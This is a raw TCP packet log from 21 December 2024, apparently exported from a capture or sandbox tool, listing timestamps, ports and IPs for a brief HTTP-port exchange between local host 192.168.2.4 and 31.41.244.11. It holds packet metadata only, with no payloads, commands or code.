Dec 21, 2024 10:15:32.897022009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.897058964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.897774935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.897852898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.897952080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.898622990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.898649931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.898689032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.898689032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.899504900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.899523020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.899671078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.900161028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.900379896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.900484085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.901021957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.901089907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.901156902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.901917934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.901928902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.902143002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.902705908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.902760029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.902781010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.903218031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.903558969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.903616905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.903633118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.903744936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.904321909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.904381037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.904439926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.904665947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.905091047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.905189037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.905216932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.905277967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.906070948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.906083107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.906311035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.906816959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.906829119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.906874895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.907619953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.907737017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.907805920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.908427954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.908508062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.908546925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:32.909279108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:32.909349918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.058209896 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.058243990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.058413029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.058514118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.058567047 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.058635950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.059534073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.059622049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.059679985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.060117960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.060163975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.060246944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.061065912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.061075926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.061156988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.061156988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.062004089 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.062161922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.062220097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.063085079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.063215971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.063255072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.063255072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.064708948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.064790964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.064821005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.065156937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.065205097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.065438032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.065773964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.065848112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.065865993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.066423893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.066435099 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.066518068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.066947937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.067151070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.067213058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.067719936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.067785025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.067809105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.068422079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.068475962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.068526030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.069286108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.069295883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.069370985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.070108891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.070183992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.070401907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.070902109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.070956945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.070983887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.071223021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.071652889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.071816921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.071840048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.071966887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.072588921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.072598934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.072715998 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.073287964 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.073451042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.073530912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.074146986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.074228048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.074248075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.074970007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.075066090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.075093031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.075277090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.075845957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.076003075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.076071024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.076669931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.076800108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.076879025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.077436924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.077539921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.077564955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.078279972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.078401089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.078424931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.079093933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.079152107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.079176903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.079202890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.080157995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.080177069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.080342054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.080719948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.080837011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.080925941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.081543922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.081629992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.081697941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.081914902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.082371950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.082443953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.082463980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.083199024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.083240032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.083240032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.083272934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.083328962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.084033966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.084139109 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.084161997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.084990025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.084999084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.085103035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.085652113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.085917950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.086050034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.086503029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.086622953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.086648941 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.087222099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.087325096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.087377071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.087517023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.088260889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.088273048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.088359118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.089133024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.089230061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.089373112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.089780092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.089896917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.089931011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.090600014 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.090786934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.090809107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.091243982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.091490030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.091569901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.091654062 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.092273951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.092434883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.092556953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.093046904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.093101978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.093106985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.093889952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.094024897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.094048023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.094810963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.094957113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.094995022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.095243931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.095535994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.095683098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.095762968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.096425056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.096435070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.096529007 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.097249031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.097292900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.097341061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.097341061 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.098048925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.098228931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.098340988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.098872900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.098918915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.098994970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.099737883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.099878073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.099982977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.100471973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.100610971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.100677013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.101285934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.103243113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.251971006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.252109051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.252113104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.252181053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.252295971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.252306938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.252343893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.252384901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.253041029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.253052950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.253148079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.253895998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.254055023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.254082918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.254111052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.254679918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.254769087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.254858971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.255233049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.255428076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.255439997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.255490065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.256467104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.256546021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.256592989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.256696939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.257301092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.257457972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.257478952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.257529974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.258218050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.258287907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.258367062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.258831024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.258913994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.258975983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.259041071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.259646893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.259785891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.259797096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.259855032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.260582924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.260627985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.260725975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.260804892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.261326075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.261498928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.261559010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.262238979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.262249947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.262290001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.262304068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.262974977 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.263118029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.263144970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.263252974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.263753891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.263916016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.263921976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.264230013 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.264559031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.264709949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.264771938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.265438080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.265520096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.265722990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.265841961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.266166925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.266223907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.266319990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.266380072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.267091990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.267103910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.267113924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.267123938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.267136097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.267147064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.267158031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.267190933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.267870903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.267977953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.268007994 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.268047094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.268646002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.268764973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.268851042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.269565105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.269620895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.269644022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.269965887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.270337105 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.270390034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.270612955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.270669937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.271135092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.271188021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.271306038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.271358967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.272367001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.272377968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.272411108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.272459984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.272754908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.272804976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.272891045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.273067951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.273600101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.273674011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.273758888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.274086952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.274432898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.274511099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.274528027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.274605989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.275348902 CET	80	49808	31.41.244.11	192.168.2.4
